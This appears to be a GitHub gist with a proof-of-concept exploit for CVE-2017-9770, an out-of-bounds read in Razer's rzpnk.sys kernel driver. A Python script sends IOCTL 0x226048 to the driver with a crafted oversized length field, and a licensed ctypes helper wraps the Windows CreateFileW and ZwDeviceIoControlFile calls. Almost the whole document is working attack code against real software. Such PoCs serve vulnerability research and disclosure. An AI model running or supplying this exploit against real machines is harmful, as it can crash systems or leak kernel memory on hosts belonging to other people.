Proof of Concept for CVE-2017-9770 (Razer rzpnk.sys IOCTL 0x226048 OOB Read)
#!/usr/bin/env python | |
import struct | |
# see the other file in the original gist | |
import driver | |
def main(): | |
drv = driver.Driver.from_create_file('\\\\.\\47CD78C9-64C3-47C2-B80F-677B887CF095') | |
# the first 4 bytes are the size then it must be padded to at least 0x220 bytes | |
buffer_ = struct.pack('I', 0x70000000) + (b'\x00' * 0x21c) | |
status, output = drv.io_control_file( | |
0x226048, # IoControlCode | |
buffer_, # InputBuffer | |
0 # OutputBufferLength | |
) | |
if __name__ == '__main__': | |
main() |
# -*- coding: utf-8 -*- | |
# | |
# driver.py | |
# | |
# Copyright 2017 Spencer McIntyre | |
# | |
# Redistribution and use in source and binary forms, with or without | |
# modification, are permitted provided that the following conditions are | |
# met: | |
# | |
# * Redistributions of source code must retain the above copyright | |
# notice, this list of conditions and the following disclaimer. | |
# * Redistributions in binary form must reproduce the above | |
# copyright notice, this list of conditions and the following disclaimer | |
# in the documentation and/or other materials provided with the | |
# distribution. | |
# * Neither the name of the nor the names of its | |
# contributors may be used to endorse or promote products derived from | |
# this software without specific prior written permission. | |
# | |
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS | |
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT | |
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR | |
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT | |
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, | |
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT | |
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, | |
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY | |
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT | |
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE | |
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | |
# | |
import sys | |
import ctypes | |
# github.com/zeroSteiner/mayhem | |
import mayhem.datatypes.windows as wintypes | |
INVALID_HANDLE = 0xffffffffffffffff | |
ctypes.windll.kernel32.CreateFileW.argtypes = ( | |
wintypes.LPWSTR, | |
wintypes.DWORD, | |
wintypes.DWORD, | |
ctypes.c_void_p, | |
wintypes.DWORD, | |
wintypes.DWORD, | |
wintypes.HANDLE | |
) | |
ctypes.windll.kernel32.CreateFileW.restype = wintypes.HANDLE | |
ctypes.windll.ntdll.ZwDeviceIoControlFile.argtypes = ( | |
wintypes.HANDLE, | |
wintypes.HANDLE, | |
ctypes.c_void_p, | |
wintypes.PVOID, | |
ctypes.c_void_p, | |
wintypes.ULONG, | |
wintypes.PVOID, | |
wintypes.ULONG, | |
wintypes.PVOID, | |
wintypes.ULONG | |
) | |
ctypes.windll.ntdll.ZwDeviceIoControlFile.restype = wintypes.NTSTATUS | |
def ctarray_to_bytes(ctarray): | |
bytes_ = buffer(ctarray) if sys.version_info[0] < 3 else bytes(ctarray) | |
return bytes_[:] | |
class Driver(object): | |
def __init__(self, handle): | |
self.handle = handle | |
def close(self): | |
ctypes.windll.kernel32.CloseHandle(self.handle) | |
@classmethod | |
def from_create_file(cls, file_name): | |
handle = ctypes.windll.kernel32.CreateFileW( | |
file_name, # lpFileName [in] | |
3, # dwDesiredAccess [in] | |
0, # dwShareMode [in] | |
None, # lpSecurityAttributes [in-opt] | |
3, # dwCreationDesposition [in] | |
0, # dwFlagsAndAttributes [in] | |
0 # hTemplateFile [in-opt] | |
) | |
if handle == INVALID_HANDLE: | |
raise ctypes.WinError() | |
return cls(handle) | |
def io_control_file(self, io_control_code, input_buffer=None, output_buffer_length=None): | |
io_status_block = wintypes.IO_STATUS_BLOCK() | |
input_buffer_length = (0 if input_buffer is None else len(input_buffer)) | |
if output_buffer_length is None: | |
output_buffer = None | |
output_buffer_length = 0 | |
else: | |
output_buffer = (ctypes.c_byte * output_buffer_length)() | |
value = ctypes.windll.ntdll.ZwDeviceIoControlFile( | |
self.handle, # FileHandle [in] | |
None, # Event [in-opt] | |
None, # ApcRoutine [in-opt] | |
None, # ApcContext [in-opt] | |
ctypes.byref(io_status_block), # IoStatusBlock [out] | |
io_control_code, # IoControlCode [in] | |
input_buffer, # InputBuffer [in-opt] | |
input_buffer_length, # InputBufferLength [in] | |
output_buffer, # OutputBuffer [out-opt] | |
output_buffer_length # OutputBufferLength [out] | |
) | |
return (value, ctarray_to_bytes(output_buffer)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment